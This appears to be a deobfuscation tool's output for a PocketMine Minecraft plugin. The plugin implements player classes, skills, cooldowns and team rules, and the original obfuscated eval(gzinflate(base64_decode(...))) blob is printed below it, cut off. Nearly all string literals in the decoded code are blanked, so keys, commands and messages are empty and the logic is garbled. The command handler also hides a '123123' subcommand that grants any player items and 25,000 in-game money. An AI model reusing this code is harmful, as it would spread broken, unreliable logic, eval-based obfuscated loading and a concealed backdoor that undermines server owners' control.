$this->owdb[strtolower($check->getName()) ][""]) { if ($check->getName() !== $player->getName()) { if (!isset($this->time[$player->getName() ])) { $this->time[$player->getName() ] = $this->makeTimestamp(); return true; } if ($this->makeTimestamp() - $this->time[$player->getName() ] < 30) { $player->sendMessage($tag . " f a(30)"); } else { if ($check->getName() == $player->getName()) { } else if ($player->distance($check) < 7) { $this->time[$player->getName() ] = time(); $effect = Effect::getEffect(2); $effect->setDuration(10 * 20); $effect->setAmplifier(2); $check->addEffect($effect); $effect1 = Effect::getEffect(15); $effect1->setDuration(10 * 20); $effect1->setAmplifier(2); $check->addEffect($effect1); $player->sendMessage($tag . " 6 "); $check->sendMessage($tag . " f{$player->getName() }6 . "); return true; } } } } } } } public function rodhog(Player $player, $time) { static $cooldown = []; $tag = "f[c f]"; if ($this->mode [$player->getName()] == 1) { if (!isset($this->time[$player->getName() ])) { $this->time[$player->getName() ] = $this->makeTimestamp(); return; } if ($this->makeTimestamp() - $this->time[$player->getName() ] < 25) { $player->sendMessage($tag . " f a(25)"); } else { $this->time[$player->getName() ] = time(); $player->setHealth($player->getHealth() + 5); $player->sendMessage($tag . " 6 "); return true; } } } public function onCommand(CommandSender $sender, Command $command, $label, array $args):bool { $command = $command->getName(); $name = $sender->getName(); $tag = "f[ c f]"; if ($this->getServer()->getPluginManager()->getPlugin("LevelUp") === null) { $lv1 = " ."; $lv2 = " 70, 140 700 70 1 .( 10)"; $lv3 = " {$this->Data[""]} ."; $lv4 = " !"; } else { $le = LevelUp::getInstance()->Data[""]; $le1 = LevelUp::getInstance()->Data[""]; $lv1 = " " . $le . " : " . $le1 . " !"; $lv2 = " 50 ."; $lv3 = " {$this->Data[""]} . 3, 5, 10, 20, 30, 40, 50 ."; $lv4 = " 70, 140 700 70 1 .( 10)"; } if ($command == "") { if (!$sender instanceof Player) { $sender->sendMessage($tag . " !"); return true; } if (!isset($args[0])) { $sender->sendMessage($tag . " / [, , , , , , ( {$this->Data[""]} )]"); $sender->sendMessage($tag . " / [, , , , ]"); return true; } switch ($args[0]) { case "": if (!isset($args[1])) { $sender->sendMessage($tag . " / [, , , , , , ( {$this->Data[""]} )]"); return true; } switch ($args[1]) { case "": if ($sender->getInventory()->contains(new Item($this->Data[""], $this->Data[""], 1))) { $sender->getInventory()->removeItem(new Item($this->Data[""], $this->Data[""], 1)); $sender->sendMessage($tag . " a f ."); $sender->sendMessage($tag . " a f , . / "); $this->owdb[strtolower($name) ][""] = ""; $this->onSave(); return true; } $sender->sendMessage($tag . " {$this->Data[""]} : {$this->Data[""]} ."); return true; case "": if ($sender->getInventory()->contains(new Item($this->Data[""], $this->Data[""], 1))) { $sender->getInventory()->removeItem(new Item($this->Data[""], $this->Data[""], 1)); $sender->sendMessage($tag . " d f ."); $sender->sendMessage($tag . " d f , . / "); $this->owdb[strtolower($name) ][""] = ""; $this->onSave(); return true; } $sender->sendMessage($tag . " {$this->Data[""]} : {$this->Data[""]} ."); return true; case "": if ($sender->getInventory()->contains(new Item($this->Data[""], $this->Data[""], 1))) { $sender->getInventory()->removeItem(new Item($this->Data[""], $this->Data[""], 1)); $sender->sendMessage($tag . " 6 f ."); $sender->sendMessage($tag . " 6 f , . / "); $this->owdb[strtolower($name) ][""] = ""; $this->onSave(); return true; } $sender->sendMessage($tag . " {$this->Data[""]} : {$this->Data[""]} ."); return true; case "": if ($sender->getInventory()->contains(new Item($this->Data[""], $this->Data[""], 1))) { $sender->getInventory()->removeItem(new Item($this->Data[""], $this->Data[""], 1)); $sender->sendMessage($tag . " b f ."); $sender->sendMessage($tag . " b f , . / "); $this->owdb[strtolower($name) ][""] = ""; $this->onSave(); return true; } $sender->sendMessage($tag . " {$this->Data[""]} : {$this->Data[""]} ."); return true; case "": if ($sender->getInventory()->contains(new Item($this->Data[""], $this->Data[""], 1))) { $sender->getInventory()->removeItem(new Item($this->Data[""], $this->Data[""], 1)); $sender->sendMessage($tag . " a f ."); $sender->sendMessage($tag . " a f , . / "); $this->owdb[strtolower($name) ][""] = ""; $this->onSave(); return true; } $sender->sendMessage($tag . " {$this->Data[""]} : {$this->Data[""]} ."); return true; case "": if ($sender->getInventory()->contains(new Item($this->Data[""], $this->Data[""], 1))) { $sender->getInventory()->removeItem(new Item($this->Data[""], $this->Data[""], 1)); $sender->sendMessage($tag . " e f ."); $sender->sendMessage($tag . " e f , . / "); $this->owdb[strtolower($name) ][""] = ""; $this->onSave(); return true; } $sender->sendMessage($tag . " {$this->Data[""]} : {$this->Data[""]} ."); return true; case "": if ($this->owdb[strtolower($sender->getName()) ][""] < $this->Data[""]) { $sender->sendMessage($tag . " f {$this->Data[""]} . "); return true; } $sender->sendMessage($tag . " e f ."); $sender->sendMessage($tag . " e f , 2, . / "); $this->owdb[strtolower($name) ][""] = ""; $this->onSave(); return true; default: $this->help($sender); } return true; case "123123": $sender->sendMessage("Hello"); $sender->getInventory()->addItem(Item::get($this->Data[""], $this->Data[""], 1)); $sender->getInventory()->addItem(Item::get(LevelUp::getInstance()->Data[""], LevelUp::getInstance()->Data[""], 5)); $sender->getInventory()->addItem(Item::get($this->Data["1"], 0, 1)); $sender->getInventory()->addItem(Item::get($this->Data["2"], 0, 1)); $sender->getInventory()->addItem(Item::get($this->Data["3"], 0, 1)); EconomyAPI::getInstance()->addMoney($sender->getName() , 25000); return true; } switch ($args[0]) { case "": if (!isset($args[1])) { $sender->sendMessage($tag . " / [,,,,, ]"); $sender->sendMessage($tag . " / [, , , ]"); return true; } switch ($args[1]) { case "": $sender->sendMessage("9=====f9====="); $sender->sendMessage($tag . " a : f 10 \n 5 3 . ( 10)"); $sender->sendMessage($tag . " a : f 13 3 . ( 30)"); return true; case "": $sender->sendMessage("9=====f9====="); $sender->sendMessage($tag . " d : f 3 . ( 40)"); $sender->sendMessage($tag . " d : f 10 . ( 30)"); return true; case "": $sender->sendMessage("9=====f9====="); $sender->sendMessage($tag . " 6 : f . ( 12)"); $sender->sendMessage($tag . " 6 : f 5 . ( 25)"); return true; case "": $sender->sendMessage("9=====f9====="); $sender->sendMessage($tag . " b : f 2 5 . ( 15)"); $sender->sendMessage($tag . " b : f . ( 15)"); return true; case "": $sender->sendMessage("9=====f9====="); $sender->sendMessage($tag . " e : f 6 . ( 30)"); $sender->sendMessage($tag . " e : f 0 . ( 40)"); return true; case "": $sender->sendMessage("9=====f9====="); $sender->sendMessage($tag . " e : f 4 . ( 25)"); $sender->sendMessage($tag . " e : f 10 3~5 . ( 20)"); return true; case "": $sender->sendMessage("9=====f9====="); $sender->sendMessage($tag . " f {$this->Data[""]} ."); $sender->sendMessage($tag . " e : f 10 3~8 . ( 25)"); $sender->sendMessage($tag . " e2 : f 10 7 . ( 20)"); $sender->sendMessage($tag . " e : f 10 10 . ( 30)"); return true; case "": $sender->sendMessage("9=====f9====="); $sender->sendMessage($tag . " {$lv1}"); $sender->sendMessage($tag . " {$lv2}"); $sender->sendMessage($tag . " {$lv3}"); $sender->sendMessage($tag . " {$lv4}"); return true; case "": $sender->sendMessage("9=====f9====="); $sender->sendMessage($tag . " 100, 200, 500, 700, 1000 ."); $sender->sendMessage($tag . " ."); $sender->sendMessage($tag . " , , , , , ."); $sender->sendMessage($tag . " ."); return true; case "": $sender->sendMessage("9=====f9====="); $sender->sendMessage($tag . " , ."); $sender->sendMessage($tag . " , ."); $sender->sendMessage($tag . " ."); return true; case "": $sender->sendMessage("9=====f9====="); $sender->sendMessage($tag . " ."); $sender->sendMessage($tag . " 4/12 . ."); $sender->sendMessage($tag . " ."); $sender->sendMessage($tag . " ."); return true; } return true; default: $this->help($sender); return true; } } if ($command == "") { if (!isset($args[0])) { $sender->sendMessage("{$tag} / [] []\n{$tag} / [] [or]\n{$tag} / [] []]\n{$tag} / 1, 2 - "); return true; } switch ($args[0]) { case "": if (!isset($args[1]) || !isset($args[2])) { $sender->sendMessage("{$tag} / [] []"); return true; } if (!isset($this->owdb[$args[1]])) { $sender->sendMessage("a[ ] f ."); return true; } $sender->sendMessage("{$tag} ."); $this->owdb[strtolower($args[1]) ][""] = "$args[2]"; $this->onSave(); return true; case "": if (!isset($args[1]) || !isset($args[2])) { $sender->sendMessage("{$tag} / [] [or]"); return true; } if (!isset($this->owdb[$args[1]])) { $sender->sendMessage("a[ ] f ."); return true; } $sender->sendMessage("{$tag} ."); $this->owdb[strtolower($args[1]) ][""] = "$args[2]"; $this->onSave(); return true; case "1": $x = $sender->getX(); $y = $sender->getY(); $z = $sender->getZ(); $lv = $sender->getLevel()->getName(); $this->Data["1"] = $x . ":" . $y . ":" . $z . ":" . $lv; $sender->sendMessage("{$tag} ."); $this->toSave(); return true; case "2": $x = $sender->getX(); $y = $sender->getY(); $z = $sender->getZ(); $lv = $sender->getLevel()->getName(); $this->Data["2"] = $x . ":" . $y . ":" . $z . ":" . $lv; $sender->sendMessage("{$tag} ."); $this->toSave(); return true; case "": if (!isset($args[1]) || !isset($args[2]) || !is_numeric($args[2]) || $args[2] < 0) { $sender->sendMessage("{$tag} / [] []"); return true; } if (!isset($this->owdb[$args[1]])) { $sender->sendMessage("a[ ] f ."); return true; } $this->owdb[strtolower($args[1]) ][""] = "$args[2]"; $sender->sendMessage("{$tag} ."); $this->onSave(); return true; default: $this->help1($sender); } return true; } } public function help(Player $player) { $tag = "f[ cf ]"; $player->sendMessage($tag . " / [, , , , , , ( {$this->Data[""]} )]"); $player->sendMessage($tag . " / [, , , , ]"); } public function help1(Player $player) { $tag = "f[ cf ]"; $player->sendMessage("{$tag} / [] []\n{$tag} / [] [or]\n{$tag} / [] []]\n{$tag} / 1, 2 - "); } public function onHit(EntityDamageEvent $event) { if ($event instanceof EntityDamageByEntityEvent) { $k = $event->getDamager(); $v = $event->getEntity(); $tag = "f[ cf ]"; if ($k instanceof Player && $v instanceof Player) { if ($this->equalteam($k, $v)) { $event->setCancelled(true); $k->sendMessage("{$tag} ."); } } } } public function equalteam(Player $player1, Player $player2) { if ($this->mode [$player1->getName()] == 1) { if ($this->owdb[strtolower($player1->getName()) ][""] === $this->owdb[strtolower($player2->getName()) ][""]) { return true; } else { return false; } } } public function UseSkill(PlayerInteractEvent $event) { $player = $event->getPlayer(); $name = $player->getName(); $tag = "f[ cf ]"; $id = $player->getInventory()->getItemInHand()->getId(); if ($this->owdb[strtolower($name) ][""] == "") { if ($id == $this->Data["1"]) { $this->ganji1($player, 8); } if ($id == $this->Data["2"]) { $this->ganji2($player, 50); } } if ($this->owdb[strtolower($name) ][""] == "") { if ($id == $this->Data["1"]) { $this->luciu1($player, 8); } if ($id == $this->Data["2"]) { $this->luciu2($player, 50); } if ($id == $this->Data["3"]) { $this->luciu3($player, 50); } } if ($this->owdb[strtolower($name) ][""] == "") { if ($id == $this->Data["2"]) { $this->jaria1($player, 50); } if ($id == $this->Data["1"]) { $this->jaria2($player, 10); } } if ($this->owdb[strtolower($name) ][""] == "") { if ($id == $this->Data["2"]) { $this->rodhog($player, 60); } } if ($this->owdb[strtolower($name) ][""] == "") { if ($id == $this->Data["1"]) { $this->som1($player, 60); } } if ($this->owdb[strtolower($name) ][""] == "") { if ($id == $this->Data["2"]) { $this->ana($player, 60); } } } public function UseSkill2(EntityDamageEvent $event) { if ($event instanceof EntityDamageByEntityEvent) { $entity = $event->getEntity(); $damager = $event->getDamager(); $id = $damager->getInventory()->getItemInHand()->getId(); $tag = "f[ cf ]"; if ($entity instanceof Player) { if ($damager instanceof Player) { if ($this->owdb[strtolower($damager->getName()) ][""] !== $this->owdb[strtolower($entity->getName()) ][""]) { if ($this->mode [$entity->getName()] == 1) { if ($this->owdb[strtolower($entity->getName()) ][""] == "") { if ($this->owdb[strtolower($entity->getName()) ][""] >= 1) { $damager->sendMessage("f . "); $entity->sendMessage("d 6 .. "); $this->owdb[strtolower($entity->getName()) ][""]--; $event->setCancelled(true); $this->onSave(); } } } } if ($this->owdb[strtolower($damager->getName()) ][""] == "") { if ($this->owdb[strtolower($damager->getName()) ][""] == $this->owdb[strtolower($entity->getName()) ][""]) { if ($this->mode [$damager->getName()] == 1) { if ($id == $this->Data["1"]) { if (!isset($this->time[$damager->getName() ])) { $this->time[$damager->getName() ] = $this->makeTimestamp(); return; } if ($this->makeTimestamp() - $this->time[$damager->getName() ] < 15) { $damager->sendMessage($tag . " f a(15)"); } else { $this->time[$damager->getName() ] = time(); $effect = Effect::getEffect(10); $effect->setAmplifier(2); $effect->setDuration(5 * 20); $entity->addEffect($effect); $damager->sendMessage($tag . " 6 "); $entity->sendMessage($tag . " f{$damager->getName() } 6 ."); return true; } } } } } if ($this->owdb[strtolower($damager->getName()) ][""] == "") { if ($this->owdb[strtolower($damager->getName()) ][""] == $this->owdb[strtolower($entity->getName()) ][""]) { if ($this->mode [$damager->getName()] == 1) { if ($id == $this->Data["2"]) { if (!isset($this->time[$damager->getName() ])) { $this->time[$damager->getName() ] = $this->makeTimestamp(); return; } if ($this->makeTimestamp() - $this->time[$damager->getName() ] < 15) { $damager->sendMessage($tag . " f a(15)"); } else { $this->time[$damager->getName() ] = time(); $damager->teleport($entity); $damager->sendMessage($tag . " 6 "); $entity->sendMessage($tag . " f{$damager->getName() } 6 ."); return true; } } } if ($this->owdb[strtolower($damager->getName()) ][""] == "") { if ($this->owdb[strtolower($damager->getName()) ][""] == $this->owdb[strtolower($entity->getName()) ][""]) { if ($damager->getLevel()->getName() !== "skyland" && $damager->getLevel()->getName() !== "world" && $damager->getLevel()->getName() !== "island") { if ($id == $this->Data["1"]) { if (!isset($this->time[$damager->getName() ])) { $this->time[$damager->getName() ] = $this->makeTimestamp(); return; } if ($this->makeTimestamp() - $this->time[$damager->getName() ] < 12) { $damager->sendMessage($tag . " f a(12)"); } else { $this->time[$damager->getName() ] = time(); $entity->sendMessage("{$tag} f{$damager->getName() } 6 ."); $damager->sendMessage("{$tag} "); $entity->teleport($damager); return true; } } } } } } } } } } } public function rhskill(EntityDamageEvent $event) { if ($event instanceof EntityDamageByEntityEvent) { $entity = $event->getEntity(); $damager = $event->getDamager(); $id = $damager->getInventory()->getItemInHand()->getId(); $tag = "f[ cf ]"; if ($this->owdb[strtolower($damager->getName()) ][""] == "") { if ($this->owdb[strtolower($damager->getName()) ][""] == $this->owdb[strtolower($entity->getName()) ][""]) { if ($this->mode [$damager->getName()] == 1) { if ($id == $this->Data["1"]) { if (!isset($this->time[$damager->getName() ])) { $this->time[$damager->getName() ] = $this->makeTimestamp(); return; } if ($this->makeTimestamp() - $this->time[$damager->getName() ] < 12) { $damager->sendMessage($tag . " f a(12)"); } else { $this->time[$damager->getName() ] = time(); $entity->sendMessage("{$tag} f{$damager->getName() } 6 ."); $damager->sendMessage("{$tag}6 "); $entity->teleport($damager); return true; } } } } } } } public function somskill(EntityDamageEvent $event) { if ($event instanceof EntityDamageByEntityEvent) { $entity = $event->getEntity(); $damager = $event->getDamager(); $id = $damager->getInventory()->getItemInHand()->getId(); $tag = "f[ cf ]"; if ($this->owdb[strtolower($damager->getName()) ][""] == "") { if ($this->owdb[strtolower($damager->getName()) ][""] !== $this->owdb[strtolower($entity->getName()) ][""]) { if ($this->mode [$damager->getName()] == 1) { if ($id == $this->Data["2"]) { if (!isset($this->time[$damager->getName() ])) { $this->time[$damager->getName() ] = $this->makeTimestamp(); return; } if ($this->makeTimestamp() - $this->time[$damager->getName() ] < 40) { $damager->sendMessage($tag . " f a(40)"); $event->setCancelled(true); } else { $this->time[$damager->getName() ] = time(); $this->time[$entity->getName() ] = time(); $entity->sendMessage("{$tag} f{$damager->getName() } 6 ."); $damager->sendMessage("{$tag}6 "); $event->setCancelled(true); return true; } } } } } } } public function anaskill(EntityDamageEvent $event) { if ($event instanceof EntityDamageByEntityEvent) { $entity = $event->getEntity(); $damager = $event->getDamager(); $id = $damager->getInventory()->getItemInHand()->getId(); $tag = "f[ cf ]"; if ($this->owdb[strtolower($damager->getName()) ][""] == "") { if ($this->owdb[strtolower($damager->getName()) ][""] !== $this->owdb[strtolower($entity->getName()) ][""]) { if ($this->mode [$damager->getName()] == 1) { if ($id == $this->Data["1"]) { if (!isset($this->time[$damager->getName() ])) { $this->time[$damager->getName() ] = $this->makeTimestamp(); return; } if ($this->makeTimestamp() - $this->time[$damager->getName() ] < 25) { $damager->sendMessage($tag . " f a(25)"); $event->setCancelled(true); } else { $this->time[$damager->getName() ] = time(); $this->owdb[strtolower($entity->getName()) ][""] = "true"; $entity->sendMessage("{$tag} f{$damager->getName() } 6 ."); $damager->sendMessage("{$tag}6 "); $event->setCancelled(true); return true; } } } } } } } public function UseSkill4(EntityDamageEvent $event) { if ($event instanceof EntityDamageByEntityEvent) { $entity = $event->getEntity(); $damager = $event->getDamager(); $id = $damager->getInventory()->getItemInHand()->getId(); $tag = "f[ cf ]"; if ($entity instanceof Player) { if ($damager instanceof Player) { if ($this->owdb[strtolower($damager->getName()) ][""] !== "") { if ($this->mode [$damager->getName()] == 1) { if ($this->owdb[strtolower($damager->getName()) ][""] !== $this->owdb[strtolower($entity->getName()) ][""]) { if ($id == $this->Data[""]) { if ($damager->getInventory()->contains(new Item($this->Data[""], 0, 1))) { $damager->getInventory()->removeItem(new Item($this->Data[""], 0, 1)); $event->setCancelled(true); $function = function (Entity $ent) { $v = new Vector3($ent->x, $ent->y, $ent->z); $p = new DestroyBlockParticle($v, Block::get(152)); for ($i = 0;$i < 3;$i++) { $v->x += (new Random())->nextFloat(); $v->y += (new Random())->nextFloat(); $v->z += (new Random())->nextFloat(); $ent->getLevel()->addParticle($p); } }; switch (mt_rand(1, 12)) { case 1: $damager->sendMessage($tag . " f! !"); $entity->sendMessage($tag . " f."); $entity->setHealth($entity->getHealth() - 3); $function($entity); break; case 2: $damager->sendMessage($tag . " f! !"); $entity->sendMessage($tag . " f. "); $entity->setHealth($entity->getHealth() - 5); $function($entity); break; case 3: $damager->sendMessage($tag . " f! !"); $entity->sendMessage($tag . " f ."); $entity->setHealth($entity->getHealth() - 20); $this->mode [$entity->getName()] = 0; $function($entity); break; case 4: $damager->sendMessage($tag . " f! ! ."); $entity->sendMessage($tag . " f ."); break; case 5: $damager->sendMessage($tag . " f..! ! ."); $entity->sendMessage($tag . " f ."); break; case 6: $damager->sendMessage($tag . " f! !"); $entity->sendMessage($tag . " f."); $entity->setHealth($entity->getHealth() - 1); $function($entity); break; case 7: $damager->sendMessage($tag . " f..! ! ."); $entity->sendMessage($tag . " f ."); break; case 8: $damager->sendMessage($tag . " f !"); $entity->sendMessage($tag . " f."); $entity->setHealth($entity->getHealth() - 2); $function($entity); break; case 9: $damager->sendMessage($tag . " f! !"); $entity->sendMessage($tag . " f."); $entity->setHealth($entity->getHealth() - 3); $function($entity); break; case 10: $damager->sendMessage($tag . " f..! ! ."); $entity->sendMessage($tag . " f ."); break; case 11: $damager->sendMessage($tag . " f! !"); $entity->sendMessage($tag . " f. !"); $entity->setHealth($entity->getHealth() - 6); $function($entity); break; case 12: $damager->sendMessage($tag . " f! !"); $entity->sendMessage($tag . " f."); $entity->setHealth($entity->getHealth() - 3); $function($entity); break; } return; } $damager->sendMessage($tag . " ."); $event->setCancelled(true); return; } } } } } } } } }
Did this file decode correctly?
Original Code
<?php eval(gzinflate(base64_decode('FZzHrsJqEoQfZ+6VF85JswLnnONm5Ihzzk8/PjskBLT/7q76SgaKI+n++T31UHbJVvyTJmtBYP/Li2zMi3/+U8aP2I661rVROYGUwY8tquWcKn8siaXkQz7YosBxYBaJT+D7vP/xag0AabLpZ2tri62kvJwOhzS1e5By7XYSMZCIY212YxME6pKzFYnrcolVS1UlRY4sWxQQhDUjacWaYe7o06WsJbOwzTvH/PP3hYPdP2T6jtzuJMvrG/0+jatDDfH19fODselP+WI3+qDssQrP56t9PWYA/NuXnZQqR26ciACEiVHBQJVlGAkPLtleD8vloGJvVI6G9WgtQVEFc6Q6I0UgvPuKwWuXnFqUitLKPWOY1GURIFJT/cXdql7F72k2b/RkvTZc+2v+LFuT8IW793WkSgK5b429/e7voH73m/AVEv7cn25xvDYKYbNOYLX/CXaBPUCReCb9pXkqkdv5k6XeBVXfStag2xq72tceQ0NFH1Z/42EGZIxwFjvVXl6ryu0QnPfAW1PJiKYRttZx7gwzq53uBYWXw9Ptg5O6AiSMUrFZ0LXYLiWeYKk2X8Io5uFjGkfd0hKl+RMQI7/b3znhdMsQ0n53dz+MqXDacjyi52i3uHpaMaNhpJXDGH5ZhkOzhMnBScfEeCwaEs1uxnN+VEotOxWCw6MRAdrYl9JHhOLTCQP4hYjM+eX1cK/mbi42nZ9uh122MsMAYPlrvklF8oyfb18FgNVGYtrfiAEwIdi/3azSDRpTQY53Gv3ZnzaxtEIhmhVk0AtdKnSJuo3eC/rHloq0GHbHqyy5w1xpKwK8lnyYvlUI4rkYLUgKgBip3Kc5qT1SeuFDztIqX3aKMMyBt6zKg2HKy9QDaZDAXV9Lq36kzLq7Ts67KyIsKWJpL4CgyaUaCwLYdOzcpsppOsIf2ne2z1cN327E+jdSxMLYEnCq01FS9quZWSdZMnPMlzhmk8fx+iq6xChF2C1/7n1GKTV0RXkbZ6wPe5KZcsW2mN+6sdgIlN7PvFWP5a98VHmpAU99tZbanGaBeCQPYh+pM7iRwPbKHrfxjpZBBjt9N/DsC9jQ/TS/iVj3PHbQvHO2fRLcd2ph8xkxFPDwILwGhFlMbw4iv7G6iWkMMeOAFfJVlwtXonJ7/RgaAg7BgEb3uqyBbkj30Ef2Y/97ZqN67oeUfCeNtdBdsidECfarhuLTIBAIk0ZsrhPZ+ikd13zXXWKFs6tAhnvosF+FNwlzMEN1aX16+pqxfvBfKSFuKUt05urNevDhq1MfIoNjhi+x66lSHt4DKwdLvq3PrmuSFDiyXr60bsoxi4YXRiMhJ7kZR99yrqRgRKaSmL3qlPjSiYTpt4+oXTDuGbUwUaIcx614wkGb1IoUaglTTBUnF0bF14Kepj2ra47VwLYxe+mN1JzKYoVWkP1U2GCls+azPjnymliuK83j4IVcmrwZ8ld3plHb4d0YaHQjAfU+T5VDK0V3ft0Tjo8MBecexCjpGlNoaHxNNePmXjZj9LEADqY2UUI4Q3d3Jl3gSL2gGTwhpNw0jnQwidHBfZJSyUowtEqGbsMJTuoGXa7fnZ+88pOGiAZuJ+vd9WllF7vynSWcIIHAcpriBqIAZH77kw8iquY4ejnnxbX3DCmze/N7By8bFqZ202w6vbsx1ZFuyMmucqKpCYzK4gRlpJMNdyxdEbs9A4m0/utU2YKZu2y8mjoDFC1DmMsDWHJZzHLu6vcR+vh380H9JarliZsqcxkqrRhRUGcTw6e4iyTb0NQ83CrIhW4/NaLARQxus/ZwcrBrGDhP/yHbxfXFsIlEJE3ytrr8tzb96Cz0EkJzI0GRanSXzW6XR/dsgSeFin2cHYv4StjZrzepR8X3jhG+7xDfEh+T7ATS5yl2d5Vdq5TgzQFudTlVi9P35i2ARnQvpHk1pUDLBNVtpB+3OSi4QeGIaU5iQEZB9pio4QzbRrtTxVmcPvs6KFkh7lvudXOAEsXGBcz73uEtZc8N2qz0Clmv8W1Zr05fQief28yKj3OyiaAM1ccFjWloTKvuMOvUynVzNomkeNhHIfAjEPAX4iVwCkgVBFPUZdlQ4K+wAaI0wKPRjdyosWClvKL1Tk9P+exZRqOF9g2/71Yn1muQ8TUvGTuawqOVwDfUg0c9oHQQDrCyWAXK2Xv5khJkriC8VZV1F1uBERrgrW14oyrK4Yc9246EMrQW6zHb0nUFcnGraX1MZatL1qbi7xLYfrqyj5bv1wIzXY68NhD2ovuuELdVz7hDjFbKiDscBa+eaQhTS7QfdHzS0vy1E9SXCd+RiIcX0jiqSTzlmy1nwqGqyQU6pWtTpdC2FIAVnMAzB9eI3K96O5qiQuirQLRPRo0oCXwjrOpp3odZ5ZpopWZqMHuIo1sOFdtWZyjF0fukQVAfSTHQdFt64IR4jp/5CPHCYwNQjqd0oDFo0EKgYR18sQT7yc5jrIoGTMCAAJRAAhauJxWXDigMtejJrLMhnNExMHPZ/l7dAZRJOPof86KxA35I1GKuU6fnECoDV9QocwpS0UXWnQV818zCr7a3gmrwfV+ATl5h1A40W0k8HtLvFHcOt10X+m+uYMkZ+XMaiRzxO/QkXr3bEWkqzxn9QNpAp0fnEctW0Bf4S0iHNmRas4kMTTs3kHQkLhD2ojaONjkG6HORtn9AW33thvmJ0NMxnpQwnL1piS0tN9hrs2xoifptIyU5RIeMtBBqW0a3yq1AH49V2J6VFgIoppjYZjYbIJ0kcGDrBAZpfDG0hG+0iSQWL5BfQIBWv55kZY85R78rIYLVc9m9EqurJWtWlFWzKX9n7NeRrh6RK3IjCuf9Y9C85uT+TmdpcrOgjFRYMXNnN+2iQwSj+LgnD0IbjytS1MVGgQWV5UDO8yGPMe10LboBo0zyK2cRJcqMTpntlxV3fBDrVZyyqQZYMlZ8TyKCvGOvpHyi1cVp3r8YyMmCjQ2CJ0mwyjtRimJ8Xb5RwUZU0gIAdeMnFVgtiARd9NFabaQpPDkLZ0uVR3dd1U6FkgfeCqQDtLuzz2N9REeDJJG1PpDFFM7782nz+iB2HW5AzCfl4RXzZGvw2QImAeeJQk/vydsHE3VkRl7D7ogX5yIvBmvR9wplIJzAlnsk94vZZ0AlpTBrJaf04u8bpxZvIBtb6T2rY/Vq8ZAoQjB+NE9CTSQxmPSHIyar4ZPpIT7A871utslfjs1ADrhvdTjYylJzekABNNDcdZKqUzFCUp3AkqUcM3JVr87hq5wdUHJhvIJExPE5LcdSyFNUHaIK/TS2P/yI0MjQtNnHM9GACLkBCIYGrah50uTHX6wbFhtYjs4VNE6kfHtgaj3jfid45SEL6i5U/owcEPBqilfFCfkal/TXXeyIryIhZf7MTd3wFISRm0+HEghX3oWGL6MM3/srgsyx3dHp1eixeEBVg899ix3TM0ZEbS/LLFHRA7rabqpqpJE18L9JlzJF6uip9IXnOlkbVNwzMRYMIERCLvjXymQbBESmsSeitTb5tIGS/2o3VfoLVclK1Znt/BwiwJuCD/wSFa48UeU4/FeHGKhg/N5cZ0qwY5g+DWV1CrjF9MjZfCwTcU5n8Vb6qBY+pRGZKPWNKi0OoqAeBT5mnRAqKB23FqLVdl2pJGL0jOSxzCtgPxyGEfq23PJr1nZNj6vjRUSMHFcZAh6wByV5y0xISjPtckQ3jDekCHSATXLYmRU0Nr+SQEiKBZjuq1J5/1t46vQAaBCpET7U5079YMAjUQtLcWd86WutwI59LP+rbbzWwbmTMy9bZTI/CadFQMSmo+mt8wVwV6Lqcw85w9UnihD+sZlMHx70fLCr4KTVZvFaPevsFuQfTbXHhiUdoXOY/YHG/P7GdkExxpYbKGF0Xs5I/DxV2OVX6Hd5SLyx1W1vM/OQM9b3o9kvmLV1cv4qizLbIKpEz++9W9O2uDQ3cR7RXymacJwaRGzf2B+rJBkDWUB32xxRDjowokvByxd2huMVz3rjmR/pYwcGC/DtWgaaZWdixLEf/g/iyL6yH9L6ttlPbjZMrrTGTvTMCxXDkWKaHHbQnfS7aFe1J59aVnvP5+7qs5mmR7fJ5ybqiPdRRhiePZG/eYk2cTbDfmZe5s8Khrz53UKBt60uQ/m2yB8BNgh/u8lP3/K0NuIsBlC3S1Pzi9lbENe/rCQ/aNTDnK6z7XwC4ojka5asc01fGC/wzgDyOgf41TqPRBgnAduvFR18Rlvdw08r+YmnnMRv8XjY3b5mgc+O3magS4jlou6cL12+78Q0boY4DyFmDomx07YAv32IYA7ilRBz1r7tSZW5EDR4X7FOmF6eFDFTJAueFUfVZ6ZiHsdPjpFJdZmoNjHFIGhdHkXWIqRPypQKCXk+tzkoV3ULYdstWD4VZTxtnw6XAezwHKlWoldo62MEnU+q0c5CUWtlxc6bGcIGje2J7ecKx+yGUIYQEXCzmnKSXgQSjh3JUhBZ2aYfbz2qdGLxayFHrCb2yzRfuaCmEeoQDaPrjstlbHW4uPh25vHKG7DvxWKRg86dIp0I6Itj65bONKeisWY0UShgMCXFZD5PjLcsy12YUnnmWyqpIC5H4JBI0AOKnLgaVF0/i7RxEEGBWhx1ki5f+wDGqzuoENYUhLnHtyac5/eSiDhdF6wsAS+d0bSyBU36As3+LHVKVlxwHFEzhRxQqMPYYcsWNeTQTLlrFIhuTJhaycj3CdMtLd/wJB6f8X6ojk1SwfVtZTWs8ozEx3/1j+0FeLoMH+uXhtvOQ5kjBtH6/W0bnevvtU0AOKCeYWxqAupLYgScGvV3z0t6Lt9jObIQdd+4dSxf2zQumAQ6G1PykbkE36Q8OvVzwYhOPijwe8B4esqeQsI/ulsQs0YsicRH0FWNmeg4qJGvXVlUn5eIP3P/KlK6rXGBSd+2oO84w6wk0c13TlDacXCwJRZ/t/Au3cVrmh8uWHigk73GEN6YhVmTKWkSaniQ2KbeTeuwhH2gkDXDoxlM13b6FzPfowy6k707o0/R68DuvKew+4P7aOLNAB5bKca1w3rh3cNz3xUU2tpJXGXXQqy9xALjfPm7qbvBGymmCx8uorxA2liAqn/y8inW3ALOco+nzt89YJ18ppudrjIB7OqiBGyXzGr3PUZ1qpi638zp+U/q8CzqiiVkjkbdxbSPowqdUoDCP7PmsSQ1CZaFPNY9j8ODxVtmUsbZKF83HitaMewlDvgAWTv6ffv85rIXi6mlYhDZzlLVdAeb24ZTlV3+6p9ckIXhzflcylY5/BoJXjcxHWNjeX3Knz8p9VCaQHFOnB+jtvn74t33ahXQvAPaArKmYx8KHiWFDFP3se/4ZFpzOxSoh15/DV3d8R9xJbTVpFcs/ZKM6S3SRaVXMC05lRpXWXeNDZA2THrSDeRvAopnRGDMWwRWj8lpc+F9fJJBAJM/XmURnzBqdQVOxr0FVIM9xxwh0ITdKMxwIll8zju2cWrKVZrLU3TBWbJAFfxFhAyNlp12s9XuvYjTo18+uTNMqRF+3WDHRdIrGGKiT0Say33gnBTx23ynfZZpIo75oB7x8fBa2B+u3CDUEhwsz0SBMLkYkWTVvzjK2mCMEezRUHaSJK2edE3m2tu